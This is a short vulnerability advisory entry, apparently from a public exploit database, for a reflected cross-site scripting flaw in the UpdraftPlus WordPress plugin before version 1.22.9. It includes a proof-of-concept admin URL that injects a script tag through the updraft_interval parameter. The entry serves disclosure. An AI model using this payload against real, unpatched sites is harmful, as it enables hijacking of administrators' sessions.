Lucene search

K
wpexploitTaurus OmarWPEX-ID:7337543F-4C2C-4365-AEBF-3423E9D2F872
HistoryMar 10, 2022 - 12:00 a.m.

UpdraftPlus < 1.22.9 - Reflected Cross-Site Scripting

2022-03-1000:00:00
Taurus Omar
182

0.002 Low

EPSS

Percentile

64.5%

The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.

https://example.com//wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm(1)</script>

0.002 Low

EPSS

Percentile

64.5%

Related for WPEX-ID:7337543F-4C2C-4365-AEBF-3423E9D2F872